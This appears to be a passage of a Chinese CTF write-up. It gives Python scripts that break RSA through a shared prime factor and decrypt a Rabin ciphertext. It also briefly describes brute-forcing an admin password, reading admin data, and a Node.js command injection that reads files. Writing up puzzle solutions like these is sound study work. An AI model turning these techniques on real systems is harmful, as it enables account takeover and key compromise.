8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/python
#-*- coding:utf-8 -*-

import gmpy2
import base64
import binascii

c1 = 4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351
c2 = 485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349


n1 = 0xC461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B
n2 = 0xA36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553

e = 41221

def gcd(a,b):
if(b==0):
return a
else:
return gcd(b,a%b)

q = gcd(n1, n2)

p1 = n1 // q
p2 = n2 // q

fai_1 = (p1 - 1) * (q - 1)
fai_2 = (p2 - 1) * (q - 1)

d1 = gmpy2.invert(e, fai_1)
d2 = gmpy2.invert(e, fai_2)

m1 = pow(c1, d1, n1)
m2 = pow(c2, d2, n2)

print binascii.unhexlify(hex(m1)[2:]) + binascii.unhexlify(hex(m2)[2:])

一句话加密

在给的图片最后有一个16进制数,通过分解的得到p和q

MISC_yjhjm.png

发现这个跟之前一道题的p、q一样,在Veritas501的博客中找到了相关脚本,将c1、c2分别解一次就行。然后将两次的结果中的一半flag连起来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import gmpy2

def n2s(num):
t = hex(num)[2:]
if len(t) % 2 == 1:
return ('0'+t).decode('hex')
return t.decode('hex')

c1 = 62501276588435548378091741866858001847904773180843384150570636252430662080263
c2 = 72510845991687063707663748783701000040760576923237697638580153046559809128516

c = c1
p = 275127860351348928173285174381581152299
q = 319576316814478949870590164193048041239
n = p*q
r = pow(c,(p+1)/4,p)
s = pow(c,(q+1)/4,q)
a = gmpy2.invert(p,q)
b = gmpy2.invert(q,p)
x =(a*p*s+b*q*r)%n
y =(a*p*s-b*q*r)%n

print n2s(x%n)
print n2s((-x)%n)
print n2s(y%n)
print n2s((-y)%n)

WEB

帮赵总征婚

爆破真的快乐.jpg

尝试爆破admin的密码,使用bp爆破

web_bzzzh.png

简单的备忘录

在输入框随便输入几个字符,会有提示。。。就按着点。。。

web_jddjsb1.png

然后慢慢试,就在admin的content里有flag

web_jddjsb.png

checkin

是一个nodejs命令注入,可以通过fs模块读取文件。

web_checkin1.png

web_checkin.png